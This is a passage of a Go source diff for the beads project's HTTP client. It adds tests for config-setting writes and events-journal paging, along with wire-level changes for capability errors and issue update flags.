*testing.T) { + store, w := recordingStore(t) + settings, err := store.WorkspaceConfig() + if err != nil { + t.Fatalf("WorkspaceConfig(): %v", err) + } + if err := tc.call(settings); !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("refusal = %v, want ErrValidation", err) + } + if len(w.dispatched) != 0 { + t.Errorf("the refused request still dialed %v; a request the role calls invalid must not reach the server", w.dispatched) + } + }) + } +} + +// TestConfigWritesDialTheKeyInThePath pins the two requests member for member: +// the verb, the path the key becomes, and the body that carries the value alone. +// +// The KEY IS ESCAPED into one segment, which is why the case uses one that would +// otherwise change the request's shape. A slash would push the segment onto a +// path the server routes elsewhere, and a colon would make the custom-method +// split ambiguous — both are escapeSegment's job, and both are invisible against +// a server that simply 404s. +func TestConfigWritesDialTheKeyInThePath(t *testing.T) { + store, w := recordingStore(t) + settings, err := store.WorkspaceConfig() + if err != nil { + t.Fatalf("WorkspaceConfig(): %v", err) + } + const key = "routing/mode:beta" + + if _, err := settings.SetSetting(context.Background(), issueops.SetSettingRequest{Key: key, Value: "core"}); err != nil { + t.Fatalf("SetSetting: %v", err) + } + set := w.requests[len(w.requests)-1] + if set.Op != wire.OpSetSetting || set.Method != http.MethodPut { + t.Errorf("the write dialed %s %s, want %s PUT", set.Op, set.Method, wire.OpSetSetting) + } + if want := "/v0/beads/config/routing%2Fmode%3Abeta"; set.Path != want { + t.Errorf("the write dialed %q, want %q", set.Path, want) + } + if len(set.Query) != 0 { + t.Errorf("the write carried a query (%v); this operation takes none and refuses one", set.Query) + } + body, ok := set.Body.(apigen.SetSettingRequest) + if !ok { + t.Fatalf("the write body is %T, want the generated SetSettingRequest", set.Body) + } + if body.Value != "core" { + t.Errorf("the write body carried %q, want %q", body.Value, "core") + } + + if _, err := settings.UnsetSetting(context.Background(), issueops.UnsetSettingRequest{Key: key}); err != nil { + t.Fatalf("UnsetSetting: %v", err) + } + unset := w.requests[len(w.requests)-1] + if unset.Op != wire.OpUnsetSetting || unset.Method != http.MethodDelete { + t.Errorf("the remove dialed %s %s, want %s DELETE", unset.Op, unset.Method, wire.OpUnsetSetting) + } + if unset.Path != set.Path { + t.Errorf("the remove dialed %q and the write dialed %q; both name one resource", unset.Path, set.Path) + } + if unset.Body != nil { + t.Errorf("the remove carried a body (%v); the key is the whole request", unset.Body) + } +} + +// TestSetSettingTranscribesTheAnswerRatherThanEchoingTheRequest is the arm no +// server can prove. +// +// The operation promises that the stored value equals the value sent for every +// key it accepts, so against a correct server a client that transcribed the +// answer and one that echoed its own request are byte-identical — which is +// exactly why the difference has to be pinned against a transport that answers +// something else. A client that echoed would report a value the workspace does +// not hold the day a server normalized one, and would do it silently. +// +// The REDACTED arm is the other half, and it is the one place the echo IS the +// right answer: the projection withholds the value it just accepted, so there is +// nothing to transcribe and the request is the only honest source. Both arms in +// one case so neither can be satisfied by a body that always does one of them. +func TestSetSettingTranscribesTheAnswerRatherThanEchoingTheRequest(t *testing.T) { + const sent = "what the caller sent" + + stored := "what the server stored" + plain := &settingAnswerWire{answer: apigen.Setting{Key: "routing.default", Value: &stored}} + res, err := settingsOver(t, plain).SetSetting(context.Background(), + issueops.SetSettingRequest{Key: "routing.default", Value: sent}) + if err != nil { + t.Fatalf("SetSetting: %v", err) + } + if res.Value != stored { + t.Errorf("SetSetting reported %q, want the answer's %q: the result is what the workspace holds, "+ + "and echoing the request would report a value it does not", res.Value, stored) + } + if res.Key != "routing.default" { + t.Errorf("SetSetting reported key %q, want the answer's", res.Key) + } + + withheld := &settingAnswerWire{answer: apigen.Setting{Key: "notion.token", Redacted: true}} + res, err = settingsOver(t, withheld).SetSetting(context.Background(), + issueops.SetSettingRequest{Key: "notion.token", Value: sent}) + if err != nil { + t.Fatalf("SetSetting on a credential-bearing key: %v", err) + } + if res.Value != sent { + t.Errorf("SetSetting on a withheld answer reported %q, want the request's %q: \"\" would say the plane "+ + "stores nothing under a key it certainly stores something under", res.Value, sent) + } +} + +// settingAnswerWire is a transport that answers one prepared Setting, which is +// how the case above drives a server that says something the request did not. +type settingAnswerWire struct { + recordingWire + + answer apigen.Setting +} + +func (w *settingAnswerWire) Do(ctx context.Context, req wire.Request, out any) error { + if err := w.recordingWire.Do(ctx, req, out); err != nil { + return err + } + if body, ok := out.(*apigen.Setting); ok { + *body = w.answer + } + return nil +} + +func settingsOver(t *testing.T, w WireClient) issueops.WorkspaceConfig { + t.Helper() + settings, err := New(testTarget(t), w, &apigen.ContextResponse{}).WorkspaceConfig() + if err != nil { + t.Fatalf("WorkspaceConfig(): %v", err) + } + return settings +} + +// TestConfigWriteBoundsAreNotRestatedClientSide is the observable half of +// L-config-bounds, and it exists because the served pin cannot make it. +// +// Over http an oversized value and an oversized key both come back as +// ErrValidation whether this client refused them or the operation did, so the +// served case that measures the divergence against a local leg passes either +// way — a client that had quietly grown its own copy of the two bounds would +// look identical there. What separates them is whether the request LEFT: the +// ledger row says these are the SERVER's rules, one release away from moving, so +// a client that refused them locally would be a second copy free to drift, and +// would refuse tomorrow's server a request it would have taken. +// +// The three rules this client DOES restate are refused before the dial by the +// case above, so the two together say exactly where the line is. +func TestConfigWriteBoundsAreNotRestatedClientSide(t *testing.T) { + for _, tc := range []struct { + name string + key string + value string + }{ + {"a value past the column", "custom.big", strings.Repeat("v", types.MaxTextBytes+1)}, + {"a key past the column", "custom." + strings.Repeat("k", types.MaxFieldLen), "v"}, + } { + t.Run(tc.name, func(t *testing.T) { + store, w := recordingStore(t) + settings, err := store.WorkspaceConfig() + if err != nil { + t.Fatalf("WorkspaceConfig(): %v", err) + } + if _, err := settings.SetSetting(context.Background(), issueops.SetSettingRequest{Key: tc.key, Value: tc.value}); err != nil { + t.Fatalf("SetSetting = %v, want the request to travel and the SERVER to refuse it", err) + } + if len(w.dispatched) != 1 || w.dispatched[0] != wire.OpSetSetting { + t.Errorf("the write dialed %v, want exactly [%s]: the length rules are the operation's, and a "+ + "client-side copy of them is one release away from refusing a request a newer server would take", + w.dispatched, wire.OpSetSetting) + } + }) + } +} diff --git a/internal/httpclient/wave2c_journal_test.go b/internal/httpclient/wave2c_journal_test.go new file mode 100644 index 000000000..5f735d38f --- /dev/null +++ b/internal/httpclient/wave2c_journal_test.go @@ -0,0 +1,356 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wave2c_journal_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "encoding/json" + "errors" + "math" + "net/http" + "net/url" + "strconv" + "testing" + + "github.com/steveyegge/beads/internal/eventsjournal" + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/journalops" +) + +// The unit half of client wave 2c's events journal: the three facts a correct +// server cannot show, because a correct server never produces the conditions +// they are about. +// +// The served tier runs the whole six-case contract against a real bd serve, so +// what is left here is the reconciliation this client had to invent. The +// UNCAPPED read is the sharp one: it is a role promise the operation refuses by +// value, so the loop that reconciles them only runs past 10000 records — a size +// no contract case seeds and no served test would reach without minutes of +// seeding. + +// journalWire is a transport that answers prepared event pages in order and +// records the query each request carried. +type journalWire struct { + recordingWire + + pages []apigen.EventsPage + problem error + queries []url.Values +} + +func (w *journalWire) Do(ctx context.Context, req wire.Request, out any) error { + w.queries = append(w.queries, req.Query) + if err := w.recordingWire.Do(ctx, req, out); err != nil { + return err + } + if w.problem != nil { + return w.problem + } + body, ok := out.(*apigen.EventsPage) + if !ok { + return nil + } + if len(w.pages) == 0 { + *body = apigen.EventsPage{} + return nil + } + *body = w.pages[0] + if len(w.pages) > 1 { + w.pages = w.pages[1:] + } + return nil +} + +func journalOver(t *testing.T, w WireClient) journalops.Journal { + t.Helper() + store := New(testTarget(t), w, &apigen.ContextResponse{}) + cursor, ok := any(store).(storage.EventsJournalCursor) + if !ok { + t.Fatal("*Store does not implement storage.EventsJournalCursor") + } + return cursor +} + +// journalPage builds a page of n synthetic records starting after `from`. +func journalPage(from int64, n int, head int64) apigen.EventsPage { + records := make([]eventsjournal.Record, 0, n) + for i := 1; i <= n; i++ { + records = append(records, eventsjournal.Record{ + Seq: from + int64(i), TS: "2026-08-11T00:00:00Z", Op: "create", + IssueID: "bd-" + strconv.FormatInt(from+int64(i), 10), + Issue: json.RawMessage(`{"id":"bd-1"}`), + }) + } + return apigen.EventsPage{Head: head, Records: records} +} + +// TestUncappedJournalReadPagesTheHandlersBoundAndAnswersTheLastHead is +// L-events-paging, pinned where it can fail. +// +// The role says a limit of 0 is uncapped; the operation refuses `limit=0` by +// value and caps a page at 10000. A client that forwarded the 0 would get a 400 +// on every uncapped read, and one that silently capped would answer a partial +// page beside a head saying there is more — a consumer stalling on a gap nobody +// told it about. This asserts the third answer: the loop, its advancing +// checkpoint, and the LAST page's head. +// +// The two full pages are the smallest shape that can fail: one page proves +// nothing about advancing, and a short second page is what stops the loop. +func TestUncappedJournalReadPagesTheHandlersBoundAndAnswersTheLastHead(t *testing.T) { + // BOTH PAGES REPORT THE JOURNAL'S HEAD, which is what a real server does: + // the head is the counter's, not the page's, so a bounded page reports a head + // ABOVE its own last row and that is how a caller learns there is more. A + // fixture whose first page reported its own last seq would be a server saying + // "caught up" with seven records still to serve. + const head = int64(eventsWireLimit + 7) + w := &journalWire{pages: []apigen.EventsPage{ + journalPage(0, eventsWireLimit, head), + journalPage(eventsWireLimit, 7, head), + }} + + page, err := journalOver(t, w).ReadEventsJournalPage(context.Background(), 0, 0) + if err != nil { + t.Fatalf("an uncapped read: %v", err) + } + if got := len(page.Rows); got != eventsWireLimit+7 { + t.Errorf("the uncapped read answered %d rows, want %d: it stopped at the handler's page bound", got, eventsWireLimit+7) + } + if page.Head != head { + t.Errorf("the uncapped read answered head %d, want the LAST page's %d: an earlier page's head is stale "+ + "the moment the next request is made", page.Head, head) + } + if len(w.queries) != 2 { + t.Fatalf("the uncapped read made %d requests, want 2", len(w.queries)) + } + if got := w.queries[0].Get("limit"); got != strconv.Itoa(eventsWireLimit) { + t.Errorf("the first request sent limit=%q, want the handler's bound %d; 0 is a 400 on this operation", + got, eventsWireLimit) + } + if got, want := w.queries[0].Get("since"), "0"; got != want { + t.Errorf("the first request sent since=%q, want %q", got, want) + } + if got, want := w.queries[1].Get("since"), strconv.Itoa(eventsWireLimit); got != want { + t.Errorf("the second request sent since=%q, want %q: the checkpoint advances to the last seq SERVED, "+ + "and since is exclusive, so anything else re-reads or skips", got, want) + } + + // A BOUNDED read is one request and the bound travels as given. + bounded := &journalWire{pages: []apigen.EventsPage{journalPage(0, 2, 9)}} + if _, err := journalOver(t, bounded).ReadEventsJournalPage(context.Background(), 4, 2); err != nil { + t.Fatalf("a bounded read: %v", err) + } + if len(bounded.queries) != 1 { + t.Fatalf("a bounded read made %d requests, want 1", len(bounded.queries)) + } + if got := bounded.queries[0].Get("limit"); got != "2" { + t.Errorf("the bounded read sent limit=%q, want %q", got, "2") + } +} + +// TestJournalCheckpointSurvivesSixtyFourBits is the decode doctrine on the one +// member that carries a counter. +// +// `since` is an int64 on the role and on the wire, and the conformance suite's +// own head probe reads with math.MaxInt64 — a value an int conversion on a +// 32-bit build would wrap and a float64 decode would round. This asserts the +// value that reaches the query string is the value the caller gave. +func TestJournalCheckpointSurvivesSixtyFourBits(t *testing.T) { + w := &journalWire{pages: []apigen.EventsPage{{Head: math.MaxInt64 - 1}}} + page, err := journalOver(t, w).ReadEventsJournalPage(context.Background(), math.MaxInt64, 1) + if err != nil { + t.Fatalf("a read at the top of the range: %v", err) + } + if got, want := w.queries[0].Get("since"), strconv.FormatInt(math.MaxInt64, 10); got != want { + t.Errorf("the read sent since=%q, want %q", got, want) + } + if page.Head != math.MaxInt64-1 { + t.Errorf("the head decoded as %d, want %d: a head past 2^53 must survive the decode", page.Head, math.MaxInt64-1) + } +} + +// TestJournalTruncationIsRebuiltAsTheTypedWindow is the one refusal on this seam +// that has to become a Go value carrying DATA rather than a sentinel. +// +// The contract checks it by errors.As against journalops.TruncatedError — a type +// no leg names, since storage.EventsJournalTruncatedError is an alias of it — and +// a client that returned the wire's sentinel alone would satisfy errors.Is and +// fail every consumer, because the recovery is a decision made from the WINDOW. +// +// THE SECOND ARM IS THE ONE THE CONTRACT CANNOT REACH: a server that answered the +// code without its three window members. A window rebuilt from absent members +// would carry zeros, and `Floor-1` computed from a zero is a resume that replays +// the whole journal — so the wire's own error travels unchanged instead. +func TestJournalTruncationIsRebuiltAsTheTypedWindow(t *testing.T) { + since, floor, head := int64(40), int64(51), int64(99) + w := &journalWire{problem: &wire.ProblemError{ + Op: wire.OpListEvents, Status: http.StatusGone, Code: "events_journal_truncated", + Since: &since, Floor: &floor, Head: &head, + Err: wire.ErrEventsJournalTruncated, + }} + + _, err := journalOver(t, w).ReadEventsJournalPage(context.Background(), 40, 0) + var truncated *journalops.TruncatedError + if !errors.As(err, &truncated) { + t.Fatalf("a pruned-past checkpoint answered %v, want *journalops.TruncatedError", err) + } + if truncated.Since != since || truncated.Floor != floor || truncated.Head != head { + t.Errorf("the window is {%d %d %d}, want {%d %d %d}", + truncated.Since, truncated.Floor, truncated.Head, since, floor, head) + } + + bare := &journalWire{problem: &wire.ProblemError{ + Op: wire.OpListEvents, Status: http.StatusGone, Code: "events_journal_truncated", + Err: wire.ErrEventsJournalTruncated, + }} + _, err = journalOver(t, bare).ReadEventsJournalPage(context.Background(), 40, 1) + if errors.As(err, &truncated) { + t.Errorf("a truncation with no window was rebuilt as %+v; a Floor of 0 makes `resume from Floor-1` "+ + "replay the whole journal", truncated) + } + if !errors.Is(err, wire.ErrEventsJournalTruncated) { + t.Errorf("the unreconstructable truncation answered %v, want the wire's own error unchanged", err) + } +} + +// TestJournalRowKeepsThePayloadsRawAndTellsADeleteFromAMissingOne is the +// projection back onto the storage row, and the payload members are the part +// worth asserting. +// +// `issue` is ALWAYS present and carries the literal `null` on a delete, while +// `dep` and `comment` are ABSENT on the ops that have no such half. All three +// collapse to the empty string on the row, which is the row's own conflation — +// journalops.Row documents IssueJSON as empty when the op is a delete — and NOT +// one this client may introduce anywhere else: a payload that is present must +// travel byte for byte, because re-encoding would reorder members and +// renormalize numbers against a contract that promises the issue exactly as the +// mutation left it. +func TestJournalRowKeepsThePayloadsRawAndTellsADeleteFromAMissingOne(t *testing.T) { + // A payload that does NOT survive a re-encode: the members are out of sorted + // order and the number is past 2^53. Marshaling a decoded map would reorder + // the first and round the second, which is exactly what the contract that + // promises "the issue exactly as the mutation left it" forbids — and a + // payload that happened to round-trip would let a re-encoding client pass. + const raw = `{"title":"z","id":"bd-1","row_version":9007199254740993}` + w := &journalWire{pages: []apigen.EventsPage{{Head: 3, Records: []eventsjournal.Record{ + {Seq: 1, TS: "t1", Op: "create", IssueID: "bd-1", Issue: json.RawMessage(raw)}, + {Seq: 2, TS: "t2", Op: "delete", IssueID: "bd-1", Issue: json.RawMessage("null")}, + {Seq: 3, TS: "t3", Op: "dep_add", IssueID: "bd-1", + Issue: json.RawMessage(raw), Dep: json.RawMessage(`{"kind":"blocks"}`)}, + }}}} + + page, err := journalOver(t, w).ReadEventsJournalPage(context.Background(), 0, 10) + if err != nil { + t.Fatalf("read: %v", err) + } + if len(page.Rows) != 3 { + t.Fatalf("read %d rows, want 3", len(page.Rows)) + } + if page.Rows[0].IssueJSON != raw { + t.Errorf("the create's payload is %q, want the bytes the server sent, %q", page.Rows[0].IssueJSON, raw) + } + if page.Rows[1].IssueJSON != "" { + t.Errorf("the delete's payload is %q, want \"\": a delete has no surviving row, and the row type "+ + "spells that as an empty string", page.Rows[1].IssueJSON) + } + if page.Rows[0].DepJSON != "" || page.Rows[0].CommentJSON != "" { + t.Errorf("the create carries dep %q and comment %q, want both empty: absence says the op has no such half", + page.Rows[0].DepJSON, page.Rows[0].CommentJSON) + } + if page.Rows[2].DepJSON != `{"kind":"blocks"}` { + t.Errorf("the edge's dep payload is %q, want it verbatim", page.Rows[2].DepJSON) + } + for i, row := range page.Rows { + if row.Seq != int64(i+1) || row.TS == "" || row.Op == "" || row.IssueID == "" { + t.Errorf("row %d lost an envelope member: %+v", i, row) + } + } +} + +// TestUncappedJournalReadAnswersTheFreshestHeadAndFailsWholeOnALateTruncation +// is the pair of clauses L-events-paging claims SURVIVE the loop, and both need +// a server that CHANGES between pages — which is the whole point of the row and +// the one thing a single-instant fixture cannot show. +// +// THE HEAD. Every page reports the journal's own head, so a mutation committing +// mid-loop raises it. Answering the first page's head would tell a caller it was +// caught up at a number the journal had already passed, which is a poller that +// stops polling. The freshest head is the only one that cannot be behind the +// rows served. +// +// THE LATE TRUNCATION. A prune landing mid-loop makes a LATER page a 410. A loop +// that returned the prefix it had already gathered would answer a gap with a +// plausible-looking suffix and a nil error — silent data loss, which is the one +// failure a replay feed must never ship. The read fails whole. +func TestUncappedJournalReadAnswersTheFreshestHeadAndFailsWholeOnALateTruncation(t *testing.T) { + t.Run("the head is the freshest one", func(t *testing.T) { + // The first page reports a head five past its own last row, which is what + // makes the loop continue; by the time the second page is assembled seven + // more records have committed, so its head is higher again. The two heads + // DIFFER, which is the only shape that can tell "the freshest" from "the + // first". + const seen = int64(eventsWireLimit + 5) + const grown = int64(eventsWireLimit + 12) + w := &journalWire{pages: []apigen.EventsPage{ + journalPage(0, eventsWireLimit, seen), + {Head: grown, Records: journalPage(eventsWireLimit, 5, grown).Records}, + }} + page, err := journalOver(t, w).ReadEventsJournalPage(context.Background(), 0, 0) + if err != nil { + t.Fatalf("an uncapped read across a growing journal: %v", err) + } + if page.Head != grown { + t.Errorf("the read answered head %d, want %d: an earlier page's head is behind the journal by "+ + "the time the next request lands, and a caller that acted on it would stop polling early", + page.Head, grown) + } + }) + + t.Run("a truncation on a later page fails the whole read", func(t *testing.T) { + since, floor, head := int64(eventsWireLimit), int64(eventsWireLimit+40), int64(eventsWireLimit+90) + w := &lateTruncationWire{ + first: journalPage(0, eventsWireLimit, head), + problem: &wire.ProblemError{ + Op: wire.OpListEvents, Status: http.StatusGone, Code: "events_journal_truncated", + Since: &since, Floor: &floor, Head: &head, + Err: wire.ErrEventsJournalTruncated, + }, + } + page, err := journalOver(t, w).ReadEventsJournalPage(context.Background(), 0, 0) + var truncated *journalops.TruncatedError + if !errors.As(err, &truncated) { + t.Fatalf("a prune landing mid-loop answered (%d rows, %v), want the typed truncation: a read that "+ + "kept the prefix it had gathered would answer a GAP with a plausible-looking suffix", len(page.Rows), err) + } + if len(page.Rows) != 0 { + t.Errorf("the failed read carried %d rows; result values are unspecified when error is non-nil, and a "+ + "caller that ignored the error must get nothing rather than a partial answer", len(page.Rows)) + } + if truncated.Floor != floor { + t.Errorf("the window names floor %d, want the LATER page's %d", truncated.Floor, floor) + } + }) +} + +// lateTruncationWire answers one good page and then the prepared problem, which +// is the shape a prune landing mid-loop takes. +type lateTruncationWire struct { + journalWire + + first apigen.EventsPage + problem error + answered bool +} + +func (w *lateTruncationWire) Do(ctx context.Context, req wire.Request, out any) error { + w.queries = append(w.queries, req.Query) + if w.answered { + return w.problem + } + w.answered = true + if body, ok := out.(*apigen.EventsPage); ok { + *body = w.first + } + return nil +} diff --git a/internal/httpclient/wire/BUILD.bazel b/internal/httpclient/wire/BUILD.bazel index 989a796b8..e154bc59f 100644 --- a/internal/httpclient/wire/BUILD.bazel +++ b/internal/httpclient/wire/BUILD.bazel @@ -53,6 +53,7 @@ go_test( "//internal/httpapi/apigen", "//internal/httpapi/spec", "//internal/httpclient/encode", + "//internal/storage", "//internal/types", "//issueops", "@in_gopkg_yaml_v3//:yaml_v3", diff --git a/internal/httpclient/wire/credential.go b/internal/httpclient/wire/credential.go index e4e2234ec..f8a2224ee 100644 --- a/internal/httpclient/wire/credential.go +++ b/internal/httpclient/wire/credential.go @@ -16,10 +16,10 @@ import ( // (internal/storage/postgres/credential.go), and it is the difference between a // misconfigured token file and an unauthenticated request nobody noticed. // -// The interface is declared here rather than in the store package the design -// sketches it in (engdocs/design/http-client-backend.md, D5) because this is the -// only layer that consumes it; the store package aliases it, so there is still -// one type. +// The interface is declared here rather than in the store package the +// original (bd-enterprise-internal) design sketched it in, because this is +// the only layer that consumes it; the store package aliases it, so there is +// still one type. type CredentialProvider interface { // Authorize adds credentials to req (Authorization: Bearer, DPoP, ...). // A no-auth deployment — the loopback-trust OSS server, which has no token diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index 3960c50e1..5e9425ede 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -164,14 +164,25 @@ const CapBatchApplyLarge = "issues.batchApplyLarge" // CapExternalDependencies is the CONDITIONAL behavior capability announcing // that the ready, claim and close operations of this server apply bd's // external-dependency policy themselves, spelled exactly as httpapi's constant -// of the same name (held to it by TestExternalDependencyCapabilityMatchesTheServer). +// of the same name. // // It is not in behaviorCapabilities because it is not a property of the build: -// httpapi advertises it only when the serving process composed its roles through -// the policy layer, so httpapi.Capabilities() — the build-level list the parity -// gate compares against — never contains it. The store reads it to answer -// storage.ServerEnforcedPolicy, which is what decides whether this client layers -// the policy itself. +// httpapi advertises it only when the serving process composed its roles +// through the policy layer, so httpapi.Capabilities() — the build-level list +// the parity gate compares against — never contains it. +// +// UNCONSUMED since S3 reconciliation (2026-10): THIS token is unread by this +// client, not because OSS lacks external-dependency policy enforcement — the +// externaldeps decorator (internal/storage/externaldeps) exists in OSS and is +// wired unconditionally into the local storage chain (cmd/bd/storage_chain.go), +// so a local backend already applies the policy itself. What this http +// client specifically lacks is a client-side COMPOSITION of that same +// decorator around a storage.ExternalDependencyQueryStore-backed remote +// store, because a remote server advertising this capability applies the +// policy on its own side before answering — there is nothing left for the +// client to decorate. The token stays declared, because the server-side +// capability and its wire spelling are real and S10 schedules the client half +// that reads it. const CapExternalDependencies = "policy.external_dependencies" // ClientWireRevision is the wire shape this client was built to speak and @@ -467,7 +478,23 @@ func (e *CapabilityError) Error() string { e.ServerURL, e.BdVersion, e.Capability, e.Op) } -func (e *CapabilityError) Unwrap() error { return ErrCapabilityAbsent } +// Unwrap returns both arms, so a caller holding only a role interface can +// classify a version-skew refusal the same way as any other unsupported +// capability. +// +// errors.Is(err, ErrCapabilityAbsent) stays the precise diagnosis — this +// server, this token absent, this op — and errors.As(err, *issueops.ErrUnsupported) +// (equally storage.ErrUnsupported: both are the SAME aliased type, see +// beadserrors.ErrUnsupported) now also reaches it, because a backend that +// cannot serve an operation is exactly what a capability-absent server is from +// the caller's side of the role contract. The two are not in tension: the +// ledger-refusal twin of this (InexpressibleError, in package httpclient) earns +// its *storage.ErrUnsupported arm the same way, off a value this client itself +// decided to withhold rather than a server's version — Unwrap is what lets one +// errors.As site in a role catch both without caring which. +func (e *CapabilityError) Unwrap() []error { + return []error{ErrCapabilityAbsent, &issueops.ErrUnsupported{Op: e.Op, Backend: "http", Capability: e.Capability}} +} // NewCapabilityError builds the capability-absent refusal for a behavior the // caller checked itself, off a handshake it already holds, rather than for an diff --git a/internal/httpclient/wire/handshake_test.go b/internal/httpclient/wire/handshake_test.go index c59231d89..b3caa7ca0 100644 --- a/internal/httpclient/wire/handshake_test.go +++ b/internal/httpclient/wire/handshake_test.go @@ -9,6 +9,8 @@ import ( "strings" "sync" "testing" + + "github.com/steveyegge/beads/internal/storage" ) // contextBody is a ContextResponse carrying whatever capability list the case @@ -235,6 +237,52 @@ func TestAnAbsentCapabilityRefusesWithWhatTheTaxonomyNeeds(t *testing.T) { } } +// TestAnAbsentCapabilityIsAlsoAnErrUnsupported is HIGH 4's pin: a +// version-skew refusal must be classifiable the same way as any other +// capability a backend does not serve, by a caller holding only a role +// interface and reaching for *storage.ErrUnsupported — never for the +// http-specific *CapabilityError, which such a caller has no business +// importing wire to know about. +// +// storage.ErrUnsupported is a Go alias (not a copy) of beadserrors.ErrUnsupported +// — the same declaration issueops.ErrUnsupported names too — so one +// errors.As site reaches the value under any of its three doorplates, and this +// test spends its import on the storage one deliberately: that is the package +// name HIGH 4 named, and the one most of the shared role contracts assert +// against. +func TestAnAbsentCapabilityIsAlsoAnErrUnsupported(t *testing.T) { + c, _ := newTestClient(t, Options{}, nil, + serveContext(contextBody("v0", "proj-1", "issues.list", "issues.get", "ready.list"))) + + err := c.Preflight(ctx(t), OpAddDependencies) + + var absent *CapabilityError + if !errors.As(err, &absent) { + t.Fatalf("err is %T, want *CapabilityError", err) + } + + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("err is %T, want errors.As to also reach *storage.ErrUnsupported", err) + } + if unsup.Op != OpAddDependencies { + t.Errorf("ErrUnsupported.Op = %q, want %q", unsup.Op, OpAddDependencies) + } + if unsup.Capability != "dependencies.add" { + t.Errorf("ErrUnsupported.Capability = %q, want %q", unsup.Capability, "dependencies.add") + } + if unsup.Backend != "http" { + t.Errorf("ErrUnsupported.Backend = %q, want %q", unsup.Backend, "http") + } + + // The precise diagnosis survives alongside the coarser one: a caller that + // DOES know this is the http backend can still tell a skew refusal apart + // from one that will never clear by retrying against a newer server. + if !errors.Is(err, ErrCapabilityAbsent) { + t.Errorf("errors.Is(err, ErrCapabilityAbsent) = false, want true") + } +} + func TestPreflightRefusesAnOperationThisClientDoesNotKnow(t *testing.T) { c, _ := newTestClient(t, Options{}, nil, serveContext(contextBody("v0", "proj-1"))) if err := c.Preflight(ctx(t), "teleportIssue"); err == nil { diff --git a/internal/httpclient/wire/paths.go b/internal/httpclient/wire/paths.go index 195c101c3..6357c526d 100644 --- a/internal/httpclient/wire/paths.go +++ b/internal/httpclient/wire/paths.go @@ -74,6 +74,7 @@ const ( PathIssuesDelete = "/v0/beads/issues:delete" PathIssuesBatchCreate = "/v0/beads/issues:batchCreate" PathIssuesBatchClose = "/v0/beads/issues:batchClose" + PathIssuesBatchGet = "/v0/beads/issues:batchGet" PathIssuesClaimNext = "/v0/beads/issues:claimNext" PathIssuesBatchApply = "/v0/beads/issues:batchApply" PathSettings = "/v0/beads/config" diff --git a/internal/httpclient/wire/writes.go b/internal/httpclient/wire/writes.go index 561cfa080..a6791100f 100644 --- a/internal/httpclient/wire/writes.go +++ b/internal/httpclient/wire/writes.go @@ -228,6 +228,46 @@ type updateBody struct { Actor string `json:"actor"` Patch map[string]any `json:"patch"` UpdateGuards + // The four UpdateFlags, each sent only when true (setItemBool's + // convention: an explicit false is the default said twice). Absent is + // what an older server that predates a member reads correctly, which is + // what lets a request that sets none of them reach a server that knows + // none of them. + Claim *bool `json:"claim,omitempty"` + ForceAssigneeTransfer *bool `json:"force_assignee_transfer,omitempty"` + ForceClosePolicy *bool `json:"force_close_policy,omitempty"` + ForceNotesOverwrite *bool `json:"force_notes_overwrite,omitempty"` +} + +// UpdateFlags are updateIssue's four top-level booleans: the claim, and the +// three force overrides. UpdateIssueRequest publishes all four +// (internal/httpapi/apigen's generated type) and none is a GUARD — none carries +// a comparison value, unlike every member UpdateGuards holds — so they travel +// as their own struct rather than joining that one. +// +// It is a struct rather than four arguments for UpdateGuards' reason: four +// positional booleans side by side are the shape a caller transposes, and a +// transposed force flag is a bypass nobody asked for. +type UpdateFlags struct { + // Claim claims the issue for the actor in the SAME transaction as the + // patch (upstream #6890): `bd update --claim`, served by the same + // role. With it set the patch may be empty — the claim is then the whole + // write. A server that predates the member refuses it as an unknown + // parameter before any database work, which is what makes that refusal + // safe for a caller to read as skew. + Claim bool + // ForceAssigneeTransfer bypasses ONLY the anti-steal fence on a genuine + // transfer away from a live foreign in-progress owner. The server + // requires patch.assignee beside it. + ForceAssigneeTransfer bool + // ForceClosePolicy bypasses ONLY close policy — the open-children and + // live-blocker refusals — on a patch.status crossing into the done + // category. + ForceClosePolicy bool + // ForceNotesOverwrite bypasses ONLY the refusal on a patch.notes that would + // replace existing non-empty notes with different non-empty content. The + // server requires patch.notes beside it. + ForceNotesOverwrite bool } // UpdateIssue patches one issue. It is the only PATCH on this surface: the @@ -237,13 +277,21 @@ type updateBody struct { // The guards ride BESIDE the patch, at the body's top level, which is where the // server reads them: one smuggled into the patch document would be an unknown // member of `patch` and a 400. -func (c *Client) UpdateIssue(ctx context.Context, id, actor string, patch map[string]any, guards UpdateGuards) (*apigen.UpdateIssueResponse, error) { +// +// The flags ride the same way, each sent only when true (see updateBody). +func (c *Client) UpdateIssue(ctx context.Context, id, actor string, patch map[string]any, guards UpdateGuards, flags UpdateFlags) (*apigen.UpdateIssueResponse, error) { path, err := IssuePath(id) if err != nil { return nil, err } var out apigen.UpdateIssueResponse - body := updateBody{Actor: actor, Patch: patch, UpdateGuards: guards} + body := updateBody{ + Actor: actor, Patch: patch, UpdateGuards: guards, + Claim: trueOrAbsent(flags.Claim), + ForceAssigneeTransfer: trueOrAbsent(flags.ForceAssigneeTransfer), + ForceClosePolicy: trueOrAbsent(flags.ForceClosePolicy), + ForceNotesOverwrite: trueOrAbsent(flags.ForceNotesOverwrite), + } r := Request{Op: OpUpdateIssue, Method: http.MethodPatch, Path: path, Body: body, IssueID: id} if err := c.dispatch(ctx, r, &out); err != nil { return nil, err @@ -251,6 +299,16 @@ func (c *Client) UpdateIssue(ctx context.Context, id, actor string, patch map[st return &out, nil } +// trueOrAbsent spells an optional wire boolean: a pointer to true when set, +// nil — an omitted member — otherwise. +func trueOrAbsent(set bool) *bool { + if !set { + return nil + } + v := true + return &v +} + // CompareAndSetMetadata swaps one metadata key of one issue if and only if it // currently holds the request's `expected`, and reports what it found either // way. @@ -396,6 +454,11 @@ type ApplyUpdateItem struct { ExpectedAssignee *string `json:"expected_assignee,omitempty"` ForceClosePolicy *bool `json:"force_close_policy,omitempty"` ForceAssigneeTransfer *bool `json:"force_assignee_transfer,omitempty"` + // ForceNotesOverwrite is the same trio's third member (S3 reconciliation, + // 2026-10): 